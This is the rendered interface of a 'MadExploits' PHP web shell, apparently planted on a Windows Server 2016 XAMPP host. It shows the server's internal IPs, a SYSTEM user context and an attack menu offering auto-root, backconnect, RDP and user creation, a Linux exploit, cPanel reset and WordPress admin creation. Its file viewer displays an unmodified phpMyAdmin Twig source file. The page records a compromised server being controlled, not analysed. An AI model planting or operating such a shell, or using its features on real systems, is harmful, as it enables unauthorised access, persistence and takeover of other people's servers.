Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
libraries /
classes /
Twig /
I18n /
[ HOME SHELL ]
Name
Size
Permission
Action
NodeTrans.php
4.87
KB
-rw-rw-rw-
TokenParserTrans.php
2.43
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NodeTrans.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * hold PhpMyAdmin\Twig\I18n\NodeTrans class * * @package PhpMyAdmin\Twig\I18n */ declare(strict_types=1); namespace PhpMyAdmin\Twig\I18n; use PhpMyAdmin\Twig\Extensions\Node\TransNode; use Twig\Compiler; use Twig\Node\Expression\AbstractExpression; use Twig\Node\Node; /** * Class NodeTrans * * @package PhpMyAdmin\Twig\I18n */ class NodeTrans extends TransNode { /** * Constructor. * * The nodes are automatically made available as properties ($this->node). * The attributes are automatically made available as array items ($this['name']). * * @param Node $body Body of node trans * @param Node|null $plural Node plural * @param AbstractExpression $count Node count * @param Node|null $context Node context * @param Node|null $notes Node notes * @param int $lineno The line number * @param string $tag The tag name associated with the Node */ public function __construct( Node $body, ?Node $plural, ?AbstractExpression $count, ?Node $context, ?Node $notes, int $lineno, string $tag ) { $nodes = ['body' => $body]; if (null !== $count) { $nodes['count'] = $count; } if (null !== $plural) { $nodes['plural'] = $plural; } if (null !== $context) { $nodes['context'] = $context; } if (null !== $notes) { $nodes['notes'] = $notes; } Node::__construct($nodes, [], $lineno, $tag); } /** * Compiles the node to PHP. * * @param Compiler $compiler Node compiler * * @return void */ public function compile(Compiler $compiler) { $compiler->addDebugInfo($this); list($msg, $vars) = $this->compileString($this->getNode('body')); if ($this->hasNode('plural')) { list($msg1, $vars1) = $this->compileString($this->getNode('plural')); $vars = array_merge($vars, $vars1); } $function = $this->getTransFunction( $this->hasNode('plural'), $this->hasNode('context') ); if ($this->hasNode('notes')) { $message = trim($this->getNode('notes')->getAttribute('data')); // line breaks are not allowed cause we want a single line comment $message = str_replace(["\n", "\r"], ' ', $message); $compiler->write("// l10n: {$message}\n"); } if ($vars) { $compiler ->write('echo strtr(' . $function . '(') ->subcompile($msg) ; if ($this->hasNode('plural')) { $compiler ->raw(', ') ->subcompile($msg1) ->raw(', abs(') ->subcompile($this->hasNode('count') ? $this->getNode('count') : null) ->raw(')') ; } $compiler->raw('), array('); foreach ($vars as $var) { if ('count' === $var->getAttribute('name')) { $compiler ->string('%count%') ->raw(' => abs(') ->subcompile($this->hasNode('count') ? $this->getNode('count') : null) ->raw('), ') ; } else { $compiler ->string('%' . $var->getAttribute('name') . '%') ->raw(' => ') ->subcompile($var) ->raw(', ') ; } } $compiler->raw("));\n"); } else { $compiler->write('echo ' . $function . '('); if ($this->hasNode('context')) { $context = trim($this->getNode('context')->getAttribute('data')); $compiler->write('"' . $context . '", '); } $compiler->subcompile($msg); if ($this->hasNode('plural')) { $compiler ->raw(', ') ->subcompile($msg1) ->raw(', abs(') ->subcompile($this->hasNode('count') ? $this->getNode('count') : null) ->raw(')') ; } $compiler->raw(");\n"); } } /** * @param bool $plural Return plural or singular function to use * @param bool $hasMsgContext It has message context? * * @return string */ protected function getTransFunction($plural, bool $hasMsgContext = false): string { if ($hasMsgContext) { return $plural ? '_ngettext' : '_pgettext'; } return $plural ? '_ngettext' : '_gettext'; } }
Close